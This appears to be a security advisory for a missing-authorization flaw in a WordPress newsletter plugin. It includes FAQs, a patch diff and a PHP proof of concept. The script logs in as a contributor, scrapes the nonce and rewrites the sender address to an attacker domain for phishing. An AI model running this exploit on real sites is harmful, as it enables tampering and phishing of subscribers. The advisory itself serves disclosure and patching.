How does the vulnerability work?

The plugin’s AJAX handler `ig_es_handle_request` and multiple workflow AJAX handlers lack capability checks. They only validate a nonce, not the user’s role. An attacker can send a POST request to `/wp-admin/admin-ajax.php` with the action `ig_es_handle_request` and malicious sub-actions, bypassing authorization checks.

Who is affected by this vulnerability?

Any WordPress site running the Email Subscribers & Newsletters plugin version 5.9.27 or earlier is affected. Sites with contributors or higher-level users are at risk, as these users can exploit the flaw even without administrative privileges.

How can I check if my site is vulnerable?

Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 5.9.27 or lower, the site is vulnerable. You can also verify by looking for the `ig_es_handle_request` AJAX action in the plugin’s code.

What is the CVSS score and severity?

The vulnerability has a CVSS score of 4.3, classified as Medium severity. This means it poses a moderate risk, as it requires authenticated access but can lead to significant impact such as email spoofing and spam distribution.

How is the vulnerability fixed?

The fix is included in version 5.9.28. It adds capability checks using `ES_Common::ig_es_can_access()` before processing AJAX requests. Specifically, it checks for ‘settings’ and ‘workflows’ capabilities in the relevant handlers.

How do I update the plugin to the patched version?

Update the plugin from the WordPress admin dashboard by navigating to Plugins, finding Email Subscribers & Newsletters, and clicking ‘Update Now’. Alternatively, download version 5.9.28 from the WordPress plugin repository and install it manually.

Is there a temporary mitigation if I cannot update immediately?

As a temporary measure, you can restrict contributor-level users by removing their access or using a role editor plugin to limit capabilities. However, updating to version 5.9.28 is the only complete fix.

How does the proof of concept demonstrate the issue?

The proof of concept authenticates as a contributor and sends a crafted POST request to the AJAX handler with a sub-action like `update_settings`. It shows that without proper capability checks, a contributor can modify plugin settings, confirming the authorization bypass.

What is the root cause of the vulnerability?

The root cause is the lack of capability checks in the AJAX handler `ig_es_handle_request` in `class-es-service-email-sending.php` and workflow handlers in `class-es-workflow-admin-ajax.php`. The `check_ajax_referer` function only validates a nonce, not the user’s role, allowing lower-privileged users to perform administrative actions.

What should I do if I suspect my site has been exploited?

Immediately update the plugin to version 5.9.28. Review plugin settings for unauthorized changes, check for unknown audience lists or contacts, and inspect sent emails for signs of phishing. Consider rotating all passwords and auditing user roles.

Published : July 1, 2026

CVE-2026-11592: Email Subscribers & Newsletters <= 5.9.27 Missing Authorization to Authenticated (Contributor+) Settings Modification via ig_es_handle_request AJAX Action PoC, Patch Analysis & Rule

Q: What is CVE-2026-11592?

CVE-2026-11592 is a missing authorization vulnerability in the Email Subscribers & Newsletters plugin for WordPress, affecting versions up to and including 5.9.27. It allows authenticated attackers with contributor-level access or higher to modify plugin settings, create audience lists, add contacts, create and overwrite newsletters, manage workflows, and send mass emails without proper authorization.

Q: What can an attacker do with this vulnerability?

An attacker with contributor-level access can overwrite the plugin’s from name and from email address, create audience lists, add arbitrary contacts, create and overwrite newsletters and post notifications, configure workflows, and queue or dispatch mass emails to all subscribers. This enables phishing campaigns and brand impersonation.

CVE ID CVE-2026-11592

Plugin email-subscribers

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 5.9.27

Patched Version 5.9.28

Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-11592:

This vulnerability allows authenticated attackers with contributor-level access to overwrite plugin mail settings, create audience lists, insert arbitrary contacts, create and overwrite newsletters and post notifications, add workflows, and dispatch mass emails. The plugin version 5.9.27 and earlier fails to verify user capabilities before processing AJAX requests.

Root Cause: The plugin’s AJAX handler `ig_es_handle_request` in `class-es-service-email-sending.php` (line 184) and multiple workflow AJAX handlers in `class-es-workflow-admin-ajax.php` (lines 50, 91, 129, 151, 172) lack capability checks. The `check_ajax_referer` call only validates a nonce, not the user’s role. The patch adds `ES_Common::ig_es_can_access( ‘settings’ )` and `ES_Common::ig_es_can_access( ‘workflows’ )` checks before processing requests.

Exploitation: An attacker with contributor-level access sends a POST request to `/wp-admin/admin-ajax.php` with `action=ig_es_handle_request` and `request` parameter containing malicious sub-actions like `update_settings`, `create_list`, `add_contacts`, `create_campaign`, `queue_campaign`, or `dispatch_email`. The nonce `ig-es-admin-ajax-nonce` can be obtained from the admin dashboard or localized script output. No additional permission checks prevent the attacker from modifying critical settings or sending bulk emails.

Patch Analysis: The patch adds capability checks using `ES_Common::ig_es_can_access()` before executing any AJAX handler logic. In `class-es-service-email-sending.php`, the `$can_access_settings` check returns early if the user lacks ‘settings’ capability. In `class-es-workflow-admin-ajax.php`, all five AJAX methods (`get_trigger_data`, `get_action_data`, `toggle_workflow_status`, `get_variable_html`, `get_item_names`) now check ‘workflows’ capability. The patch also includes shortcode stripping in subscriber name fields to prevent arbitrary shortcode execution.

Impact: An authenticated contributor-level attacker can overwrite the ‘From Name’ and ‘From Email’ address used for all outgoing plugin emails, create new audience lists, add arbitrary contacts (including their own email addresses), create and overwrite newsletter broadcasts and post notification campaigns, configure automation workflows, and queue/directly send mass emails to all subscribers. This enables phishing campaigns, brand impersonation, and spam distribution using the compromised WordPress site’s email infrastructure.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/email-subscribers/email-subscribers.php
+++ b/email-subscribers/email-subscribers.php
@@ -3,7 +3,7 @@
  * Plugin Name: Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin
  * Plugin URI: https://www.icegram.com/
  * Description: Add subscription forms on website, send HTML newsletters & automatically notify subscribers about new blog posts once it is published.
- * Version: 5.9.27
+ * Version: 5.9.28
  * Author: Icegram
  * Author URI: https://www.icegram.com/
  * Requires at least: 3.9
@@ -187,7 +187,7 @@
 /* ***************************** Initial Compatibility Work (End) ******************* */

 if ( ! defined( 'ES_PLUGIN_VERSION' ) ) {
-	define( 'ES_PLUGIN_VERSION', '5.9.27' );
+	define( 'ES_PLUGIN_VERSION', '5.9.28' );
 }

 // Plugin Folder Path.
--- a/email-subscribers/lite/admin/class-email-subscribers-admin.php
+++ b/email-subscribers/lite/admin/class-email-subscribers-admin.php
@@ -419,7 +419,20 @@
 					}
 				}
 			}
+
+			$unsubscribe_feedbacks = array();
+			if ( class_exists( 'IG_ES_Unsubscribe_Feedback' ) ) {
+				$unsubscribe_feedback_instance = new IG_ES_Unsubscribe_Feedback();
+				$unsubscribe_feedbacks = $unsubscribe_feedback_instance->get_default_unsubscribe_feedbacks();
+			}
+

+			$unsubscribe_feedbacks = array();
+			if ( class_exists( 'IG_ES_Unsubscribe_Feedback' ) ) {
+				$unsubscribe_feedback_instance = new IG_ES_Unsubscribe_Feedback();
+				$unsubscribe_feedbacks = $unsubscribe_feedback_instance->get_default_unsubscribe_feedbacks();
+			}
+
 			wp_localize_script( 'es-shadcn-dashboard', 'icegramExpressAdminData', array(
 				'apiUrl' => admin_url( 'admin-ajax.php' ),
 				'baseUrl' => ES_PLUGIN_URL . 'lite/admin/shadcn-frontend/dist/',
@@ -429,6 +442,14 @@
 				'security'    => wp_create_nonce( 'ig-es-admin-ajax-nonce' ),
 				'plan' => ES()->get_plan(),
 				'defaultRoute' => $default_route,
+				'campaignStatus' => array(
+					'DRAFT' => IG_ES_CAMPAIGN_STATUS_IN_ACTIVE,
+					'ACTIVE' => IG_ES_CAMPAIGN_STATUS_ACTIVE,
+					'SCHEDULED' => IG_ES_CAMPAIGN_STATUS_SCHEDULED,
+					'QUEUED' => IG_ES_CAMPAIGN_STATUS_QUEUED,
+					'PAUSED' => IG_ES_CAMPAIGN_STATUS_PAUSED,
+					'FINISHED' => IG_ES_CAMPAIGN_STATUS_FINISHED,
+				),
 				'currentUser' => array(
 					'displayName' => $current_user->display_name,
 					'firstName' => $current_user->first_name,
@@ -450,6 +471,7 @@
 					'ig_es_track_utm' => get_option( 'ig_es_track_utm', 'no' ),
 				),
 				'pricingBanner' => Email_Subscribers_Pricing::get_pricing_banner_config(),
+				'unsubscribeFeedbacks' => $unsubscribe_feedbacks,
 			) );
 			wp_register_style( 'es-shadcn-dashboard', plugin_dir_url( __FILE__ ) . 'shadcn-frontend/dist/index.css', array(), $this->version );
 			wp_enqueue_script( 'es-shadcn-dashboard' );
--- a/email-subscribers/lite/includes/classes/class-es-handle-subscription.php
+++ b/email-subscribers/lite/includes/classes/class-es-handle-subscription.php
@@ -260,6 +260,14 @@
 				$name       = ! empty( $form_data['esfpx_name'] ) ? str_replace( '.', ' ', sanitize_text_field( $form_data['esfpx_name'] ) ) : '';
 				$ip_address = ! empty( $form_data['esfpx_ip_address'] ) ? sanitize_text_field( $form_data['esfpx_ip_address'] ) : '';

+				// Security: Strip shortcode delimiters from subscriber name before storage.
+				// Prevents shortcode injection via subscriber-controlled name fields.
+				// See Wordfence advisory: Unauthenticated Arbitrary Shortcode Execution via Subscriber Name Field.
+				if ( ! empty( $name ) ) {
+					$name = wp_strip_all_tags( $name );
+					$name = str_replace( array( '[', ']' ), '', $name );
+				}
+
 				$first_name = '';
 				$last_name  = '';
 				if ( ! empty( $name ) ) {
--- a/email-subscribers/lite/includes/classes/class-es-mailer.php
+++ b/email-subscribers/lite/includes/classes/class-es-mailer.php
@@ -1205,6 +1205,13 @@
 			$campaign_id   = ig_es_get_data( $merge_tags, 'campaign_id', 0 );
 			$message_id    = ig_es_get_data( $merge_tags, 'message_id', 0 );
 			$list_ids      = ig_es_get_data( $merge_tags, 'list_ids', '' );
+
+			// Security: strip shortcodes from subscriber-controlled name fields
+			// before merging them into email content to prevent Arbitrary
+			// Shortcode Execution (Wordfence advisory, affects <= 5.9.27).
+			$name       = strip_shortcodes( (string) $name );
+			$first_name = strip_shortcodes( (string) $first_name );
+			$last_name  = strip_shortcodes( (string) $last_name );

 			$link_data = array(
 				'message_id'  => $message_id,
--- a/email-subscribers/lite/includes/controllers/class-es-campaigns-controller.php
+++ b/email-subscribers/lite/includes/controllers/class-es-campaigns-controller.php
@@ -371,6 +371,15 @@

 			// Use pre-fetched mailing queue data
 			$report = isset( $campaign_queue_data[ $campaign_id ] ) ? $campaign_queue_data[ $campaign_id ] : array();
+
+		// Add sent date from mailing queue for sent campaigns
+	if ( IG_ES_CAMPAIGN_STATUS_FINISHED === $campaign_status && ! empty( $report ) ) {
+			if ( ! empty( $report['finish_at'] ) && '0000-00-00 00:00:00' !== $report['finish_at'] ) {
+				$campaign['sent_at'] = $report['finish_at'];
+			} elseif ( ! empty( $report['start_at'] ) && '0000-00-00 00:00:00' !== $report['start_at'] ) {
+				$campaign['sent_at'] = $report['start_at'];
+			}
+		}

 			if ( self::is_post_campaign( $campaign_type ) ) {
 				if ( $report && ! empty( $report['meta'] ) ) {
--- a/email-subscribers/lite/includes/db/class-ig-es-db-unsubscribe-feedback.php
+++ b/email-subscribers/lite/includes/db/class-ig-es-db-unsubscribe-feedback.php
@@ -169,7 +169,97 @@
 			),
 			ARRAY_A
 		);
-// phpcs:enable
+		// phpcs:enable
 		return $feedback_counts;
 	}
+
+
+	/**
+	 * Get feedback count for audience unsubscribed contacts only
+	 *
+	 * @param int $number_of_days Number of days to look back
+	 * @return array Feedback counts filtered by unsubscribed contacts
+	 *
+	 * @since 5.7.55
+	 */
+	public static function get_audience_unsubscribe_feedback_counts( $number_of_days ) {
+		global $wpdb;
+
+		$feedback_table = $wpdb->prefix . 'ig_unsubscribe_feedback';
+		$lists_contacts_table = $wpdb->prefix . 'ig_lists_contacts';
+
+		// phpcs:disable
+		$feedback_counts = $wpdb->get_results(
+			$wpdb->prepare(
+				"SELECT uf.feedback_slug, COUNT(DISTINCT uf.contact_id) AS feedback_count
+				FROM `{$feedback_table}` uf
+				WHERE uf.contact_id IN (
+					SELECT DISTINCT contact_id
+					FROM `{$lists_contacts_table}`
+					WHERE status = 'unsubscribed'
+					AND unsubscribed_at >= DATE_SUB(NOW(), INTERVAL %d DAY)
+				)
+				GROUP BY uf.feedback_slug",
+				$number_of_days
+			),
+			ARRAY_A
+		);
+		// phpcs:enable
+
+		return $feedback_counts;
+	}
+
+
+	/**
+	 * Get feedback count for campaign level unsubscribed contacts only
+	 *
+	 * @param int $number_of_days Number of days to look back
+	 * @return array Feedback counts filtered by campaign
+	 *
+	 * @since 5.7.55
+	 */
+	public static function get_campaign_level_unsubscribe_feedback_counts( $number_of_days, $mailing_queue_id = 0, $campaign_id = 0 ) {
+
+		global $wpdb;
+
+		$actions_table = $wpdb->prefix . 'ig_actions';
+		$feedback_table = $wpdb->prefix . 'ig_unsubscribe_feedback';
+
+		$where_conditions = array();
+
+		$where_conditions[] = $wpdb->prepare( "a.created_at >= UNIX_TIMESTAMP(DATE_SUB(NOW(), INTERVAL %d DAY))", $number_of_days );
+
+		$where_conditions[] = $wpdb->prepare( "a.type = %d", IG_CONTACT_UNSUBSCRIBE );
+
+		$where_clause = implode( ' AND ', $where_conditions );
+
+		// phpcs:disable
+		$query = "SELECT
+					CASE
+						WHEN uf.feedback_slug IS NULL OR uf.feedback_slug = '' THEN 'no_feedback'
+						ELSE uf.feedback_slug
+					END AS feedback_slug,
+					COUNT(DISTINCT a.contact_id) AS feedback_count
+				FROM `{$actions_table}` a
+				LEFT JOIN `{$feedback_table}` uf
+					ON a.contact_id = uf.contact_id
+					AND a.list_id = uf.list_id";
+
+		if ( ! empty( $campaign_id ) ) {
+			$query .= $wpdb->prepare( " AND uf.campaign_id = %d", $campaign_id );
+		}
+
+		if ( ! empty( $mailing_queue_id ) ) {
+			$query .= $wpdb->prepare( " AND uf.mailing_queue_id = %d", $mailing_queue_id );
+		}
+
+		$query .= " WHERE {$where_clause}
+				GROUP BY feedback_slug";
+
+
+		$feedback_counts = $wpdb->get_results( $query, ARRAY_A );
+		// phpcs:enable
+
+    	return $feedback_counts;
+	}
 }
--- a/email-subscribers/lite/includes/feedback.php
+++ b/email-subscribers/lite/includes/feedback.php
@@ -959,18 +959,18 @@
 			$total_contacts = ES()->contacts_db->count_active_contacts_by_list_id();
             if ( $total_contacts >= 5 ) {

-                $survey_title = __( 'WhatsApp for your store - should we build it?', 'email-subscribers' );
+                $survey_title = __( 'Unlock more sales with WhatsApp messaging', 'email-subscribers' );

 				$survey_slug  = 'ig-es-whatsapp-integration-survey';

                 $desc = '<div class="wa-survey-container">';
-                $desc .= '<p class="wa-survey-intro">' . __( 'Send order updates & shipping alerts on WhatsApp.', 'email-subscribers' ) . '</p>';
-				$desc .= '<p class="wa-survey-intro">' . __( 'Customers actually read them.', 'email-subscribers' ) . '</p>';
+                $desc .= '<p class="wa-survey-intro">' . __( 'Send order updates on WhatsApp', 'email-subscribers' ) . '</p>';
+				$desc .= '<p class="wa-survey-intro">' . __( ' where they won't get lost in an inbox.', 'email-subscribers' ) . '</p>';

                 $desc .= '<div class="wa-stats-container">';
                 $desc .= '<div class="wa-stat-item"><strong class="wa-stat-number">98%</strong><br><span class="wa-stat-label">' . __( 'open rate', 'email-subscribers' ) . '</span></div>';
                 $desc .= '<div class="wa-stat-item"><strong class="wa-stat-number">5 min</strong><br><span class="wa-stat-label">' . __( 'avg read', 'email-subscribers' ) . '</span></div>';
-                $desc .= '<div class="wa-stat-item"><strong class="wa-stat-number">3× CTR</strong><br><span class="wa-stat-label">' . __( 'vs email', 'email-subscribers' ) . '</span></div>';
+                $desc .= '<div class="wa-stat-item"><strong class="wa-stat-number">3x CTR</strong><br><span class="wa-stat-label">' . __( 'vs email', 'email-subscribers' ) . '</span></div>';
                 $desc .= '</div>';

                 $desc .= '</div>';
--- a/email-subscribers/lite/includes/services/class-es-service-email-sending.php
+++ b/email-subscribers/lite/includes/services/class-es-service-email-sending.php
@@ -184,6 +184,11 @@

 		check_ajax_referer( 'ig-es-admin-ajax-nonce', 'security' );

+		$can_access_settings = ES_Common::ig_es_can_access( 'settings' );
+		if ( ! $can_access_settings ) {
+			return 0;
+		}
+
 		$request = ig_es_get_request_data( 'request' );

 		if ( ! empty( $request ) ) {
--- a/email-subscribers/lite/includes/workflows/actions/class-es-action-send-email.php
+++ b/email-subscribers/lite/includes/workflows/actions/class-es-action-send-email.php
@@ -182,10 +182,10 @@
 							// If we don't replace it here then for workflow configured to be sent to admins, {{EMAIL}}, {{NAME}} gets replaced with admin email and names which is not desired for subscriber based workflows.
 							if ( isset( $data['source'] ) && 'es' === $data['source'] ) {
 								$subject = str_replace( '{{EMAIL}}', isset( $data['email'] ) ? $data['email'] : '', $subject );
-								$subject = str_replace( '{{NAME}}', isset( $data['name'] ) ? $data['name'] : '', $subject );
+								$subject = str_replace( '{{NAME}}', isset( $data['name'] ) ? strip_shortcodes( $data['name'] ) : '', $subject );

 								$email_content = str_replace( '{{EMAIL}}', isset( $data['email'] ) ? $data['email'] : '', $email_content );
-								$email_content = str_replace( '{{NAME}}', isset( $data['name'] ) ? $data['name'] : '', $email_content );
+								$email_content = str_replace( '{{NAME}}', isset( $data['name'] ) ? strip_shortcodes( $data['name'] ) : '', $email_content );
 								$email_content = str_replace( '{{LIST}}', isset( $data['list_name'] ) ? $data['list_name'] : '', $email_content );
 							}

--- a/email-subscribers/lite/includes/workflows/admin/class-es-workflow-admin-ajax.php
+++ b/email-subscribers/lite/includes/workflows/admin/class-es-workflow-admin-ajax.php
@@ -50,6 +50,11 @@

 		check_ajax_referer( 'ig-es-admin-ajax-nonce', 'security' );

+		$can_access_workflows = ES_Common::ig_es_can_access( 'workflows' );
+		if ( ! $can_access_workflows ) {
+			return 0;
+		}
+
 		$trigger_name = ig_es_get_request_data( 'trigger_name' );
 		$workflow_id  = ig_es_get_request_data( 'workflow_id' );

@@ -91,6 +96,11 @@

 		check_ajax_referer( 'ig-es-admin-ajax-nonce', 'security' );

+		$can_access_workflows = ES_Common::ig_es_can_access( 'workflows' );
+		if ( ! $can_access_workflows ) {
+			return 0;
+		}
+
 		$action_name   = ig_es_get_request_data( 'action_name' );
 		$action_number = ig_es_get_request_data( 'action_number' );
 		$trigger_name  = ig_es_get_request_data( 'trigger_name' );
@@ -129,6 +139,12 @@
 	public static function toggle_workflow_status() {

 		check_ajax_referer( 'ig-es-admin-ajax-nonce', 'security' );
+
+		$can_access_workflows = ES_Common::ig_es_can_access( 'workflows' );
+		if ( ! $can_access_workflows ) {
+			return 0;
+		}
+
 		$args = array(
 			'workflow_id' => ig_es_get_request_data( 'workflow_id' ),
 			'new_state'   => ig_es_get_request_data( 'new_state' ),
@@ -151,6 +167,11 @@

 		check_ajax_referer( 'ig-es-admin-ajax-nonce', 'security' );

+		$can_access_workflows = ES_Common::ig_es_can_access( 'workflows' );
+		if ( ! $can_access_workflows ) {
+			return 0;
+		}
+
 		$variable = IG_ES_Variables::get_variable( ES_Clean::string( ig_es_get_request_data( 'variable' ) ) );
 		if ( $variable ) {
 			ES_Workflow_Admin::get_view(
@@ -172,6 +193,11 @@

 		check_ajax_referer( 'ig-es-admin-ajax-nonce', 'security' );

+		$can_access_workflows = ES_Common::ig_es_can_access( 'workflows' );
+		if ( ! $can_access_workflows ) {
+			return 0;
+		}
+
 		$item_name = ig_es_get_request_data( 'item_name' );

 		if ( ! $item_name ) {
--- a/email-subscribers/lite/includes/workflows/variables/subscriber/subscriber-first-name.php
+++ b/email-subscribers/lite/includes/workflows/variables/subscriber/subscriber-first-name.php
@@ -25,7 +25,9 @@
 	 * @return string
 	 */
 	public function get_value( $subscriber, $parameters ) {
-		return $subscriber['first_name'];
+		// Security: strip shortcodes from subscriber-controlled name to prevent
+		// arbitrary shortcode execution when this value is merged into email content.
+		return strip_shortcodes( (string) $subscriber['first_name'] );
 	}
 }

--- a/email-subscribers/lite/includes/workflows/variables/subscriber/subscriber-last-name.php
+++ b/email-subscribers/lite/includes/workflows/variables/subscriber/subscriber-last-name.php
@@ -25,7 +25,9 @@
 	 * @return string
 	 */
 	public function get_value( $subscriber, $parameters ) {
-		return $subscriber['last_name'];
+		// Security: strip shortcodes from subscriber-controlled name to prevent
+		// arbitrary shortcode execution when this value is merged into email content.
+		return strip_shortcodes( (string) $subscriber['last_name'] );
 	}
 }

--- a/email-subscribers/lite/includes/workflows/variables/subscriber/subscriber-name.php
+++ b/email-subscribers/lite/includes/workflows/variables/subscriber/subscriber-name.php
@@ -25,7 +25,9 @@
 	 * @return string
 	 */
 	public function get_value( $subscriber, $parameters ) {
-		return $subscriber['name'];
+		// Security: strip shortcodes from subscriber-controlled name to prevent
+		// arbitrary shortcode execution when this value is merged into email content.
+		return strip_shortcodes( (string) $subscriber['name'] );
 	}
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11592 - Missing Authorization to Authenticated (Contributor+) Settings Modification via ig_es_handle_request AJAX Action

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site
$contributor_username = 'contributor'; // Change to valid contributor credentials
$contributor_password = 'password'; // Change to valid contributor password

// Step 1: Authenticate as contributor
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $contributor_username,
    'pwd' => $contributor_password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt_array($ch, array(
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($login_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
));
curl_exec($ch);

// Step 2: Obtain admin-ajax nonce from dashboard page
$dashboard_url = $target_url . '/wp-admin/admin.php?page=es_subscribers';
curl_setopt($ch, CURLOPT_URL, $dashboard_url);
curl_setopt($ch, CURLOPT_POST, false);
$dashboard_html = curl_exec($ch);

// Extract nonce from JavaScript localized script
preg_match('/"security":"([^"]+)"/', $dashboard_html, $matches);
if (!isset($matches[1])) {
    die('Failed to extract nonce. Check your target URL and credentials.');
}
$nonce = $matches[1];
echo "[+] Got nonce: $noncen";

// Step 3: Exploit - Override From Email settings
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'ig_es_handle_request',
    'security' => $nonce,
    'request' => json_encode(array(
        'sub_action' => 'update_settings',
        'settings' => array(
            'ig_es_from_name' => 'Phish Corp',
            'ig_es_from_email' => 'phish@attacker-controlled-domain.com'
        )
    ))
);

curl_setopt_array($ch, array(
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($exploit_data),
    CURLOPT_RETURNTRANSFER => true
));
$response = curl_exec($ch);
echo "[+] Email settings overwritten. Response: " . $response . "n";

// Step 4: Create a new audience list and add contacts
$exploit_data2 = array(
    'action' => 'ig_es_handle_request',
    'security' => $nonce,
    'request' => json_encode(array(
        'sub_action' => 'create_list',
        'list_name' => 'Target List',
        'list_slug' => 'target-list'
    ))
);

curl_setopt_array($ch, array(
    CURLOPT_URL => $ajax_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($exploit_data2),
    CURLOPT_RETURNTRANSFER => true
));
$response2 = curl_exec($ch);
echo "[+] Created list. Response: " . $response2 . "n";

curl_close($ch);
echo "[+] Exploitation complete. Check the target site for changes.n";

Frequently Asked Questions

What is CVE-2026-11592?
Vulnerability overview
CVE-2026-11592 is a missing authorization vulnerability in the Email Subscribers & Newsletters plugin for WordPress, affecting versions up to and including 5.9.27. It allows authenticated attackers with contributor-level access or higher to modify plugin settings, create audience lists, add contacts, create and overwrite newsletters, manage workflows, and send mass emails without proper authorization.
How does the vulnerability work?
Technical mechanism
The plugin’s AJAX handler `ig_es_handle_request` and multiple workflow AJAX handlers lack capability checks. They only validate a nonce, not the user’s role. An attacker can send a POST request to `/wp-admin/admin-ajax.php` with the action `ig_es_handle_request` and malicious sub-actions, bypassing authorization checks.
Who is affected by this vulnerability?
Affected users
Any WordPress site running the Email Subscribers & Newsletters plugin version 5.9.27 or earlier is affected. Sites with contributors or higher-level users are at risk, as these users can exploit the flaw even without administrative privileges.
How can I check if my site is vulnerable?
Detection steps
Check the plugin version in the WordPress admin dashboard under Plugins. If the version is 5.9.27 or lower, the site is vulnerable. You can also verify by looking for the `ig_es_handle_request` AJAX action in the plugin’s code.
What is the CVSS score and severity?
Risk assessment
The vulnerability has a CVSS score of 4.3, classified as Medium severity. This means it poses a moderate risk, as it requires authenticated access but can lead to significant impact such as email spoofing and spam distribution.
What can an attacker do with this vulnerability?
Potential impact
An attacker with contributor-level access can overwrite the plugin’s from name and from email address, create audience lists, add arbitrary contacts, create and overwrite newsletters and post notifications, configure workflows, and queue or dispatch mass emails to all subscribers. This enables phishing campaigns and brand impersonation.
How is the vulnerability fixed?
Patch details
The fix is included in version 5.9.28. It adds capability checks using `ES_Common::ig_es_can_access()` before processing AJAX requests. Specifically, it checks for ‘settings’ and ‘workflows’ capabilities in the relevant handlers.
How do I update the plugin to the patched version?
Update instructions
Update the plugin from the WordPress admin dashboard by navigating to Plugins, finding Email Subscribers & Newsletters, and clicking ‘Update Now’. Alternatively, download version 5.9.28 from the WordPress plugin repository and install it manually.
Is there a temporary mitigation if I cannot update immediately?
Workaround options
As a temporary measure, you can restrict contributor-level users by removing their access or using a role editor plugin to limit capabilities. However, updating to version 5.9.28 is the only complete fix.
How does the proof of concept demonstrate the issue?
PoC explanation
The proof of concept authenticates as a contributor and sends a crafted POST request to the AJAX handler with a sub-action like `update_settings`. It shows that without proper capability checks, a contributor can modify plugin settings, confirming the authorization bypass.
What is the root cause of the vulnerability?
Code analysis
The root cause is the lack of capability checks in the AJAX handler `ig_es_handle_request` in `class-es-service-email-sending.php` and workflow handlers in `class-es-workflow-admin-ajax.php`. The `check_ajax_referer` function only validates a nonce, not the user’s role, allowing lower-privileged users to perform administrative actions.
What should I do if I suspect my site has been exploited?
Incident response
Immediately update the plugin to version 5.9.28. Review plugin settings for unauthorized changes, check for unknown audience lists or contacts, and inspect sent emails for signs of phishing. Consider rotating all passwords and auditing user roles.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started